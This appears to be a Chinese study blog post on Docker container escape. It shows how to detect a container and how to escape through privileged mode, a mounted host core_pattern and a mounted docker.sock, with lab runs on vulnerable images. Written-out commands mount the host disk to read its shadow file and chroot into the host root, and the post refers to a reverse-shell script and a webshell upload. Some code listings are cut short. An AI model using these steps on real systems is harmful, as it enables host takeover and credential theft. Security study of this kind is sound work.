第95天:云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

第95天:云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
Yatming的博客如何判断当前自己是否处于容器中
1 | https://blog.csdn.net/ternence_hsu/article/details/100678307 |
常用的几种方式:
方式一:判断根目录下 .dockerenv 文件
docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的
方式二:查询系统进程的cgroup信息
docker 环境下:cat /proc/1/cgroup
kvm环境或者物理机环境下:cat /proc/1/cgroup
特权模式启动导致逃逸
特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
参考链接:https://wiki.teamssix.com/cloudnative/docker/docker-privileged-escape.html
1 | docker run --rm --privileged=true -it alpine |
判断是否是容器:
判断是否是特权模式
1 | cat /proc/self/status | grep CapEff |
查看目录
1 | fdisk -l |
特权模式逃逸
1 | mkdir /test && mount /dev/sda1 /test |
尝试访问物理机的shadow文件:
危险挂载启动导致逃逸
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
参考链接:https://wiki.teamssix.com/cloudnative/docker/docker-procfs-escape.html
1 | docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu |
启动容器。
检测环境是否符合,如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
1 | find / -name core_pattern |
复现
找到当前容器在宿主机下的绝对路径
1 | cat /proc/mounts | xargs -d ',' -n 1 | grep workdir |
这就表示当前绝对路径为
1 | /var/lib/docker/overlay2/f273bc046fc48b513223e7729397f0d1bca5f8e5f88b2c2f33a2581964302119/merged |
安装 vim 和 gcc
1 | apt-get update -y && apt-get install vim gcc -y |
创建一个反弹 Shell 的 py 脚本
1 | #!/usr/bin/python3 |
给 Shell 赋予执行权限
1 | 给予执行权限 |
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
1 | vim t.c |
docker自身版本漏洞导致逃逸
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)
参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html
创建一个容器并挂载 /var/run/docker/sock 文件
1 | docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu |
在容器内安装 Docker 命令行客户端
1 | docker exec -it with_docker_sock /bin/bash |
检测
1 | ls -lah /var/run/docker.sock |
如果存在这个文件,说明漏洞可能存在
复现
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
1 | docker run -it -v /:/host ubuntu /bin/bash |
在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录,其实不挂载也行
真实环境模拟
高权限-Web入口到Docker逃逸(java)特权模式逃逸
1 | docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721 |
确定是docker环境
查看是否是特权模式
进行挂载
1 | mkdir /xiaodi && mount /dev/sda1* /xiaodi |
成功挂载。
低权限-Web入口到Docker逃逸(PHP)特权模式逃逸
1 | docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa |
上传一句话木马。
如果此时你去物理机在进容器,会发现你是特权模式。
说明入口如果是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用系统漏洞或者docker自身漏洞去逃逸。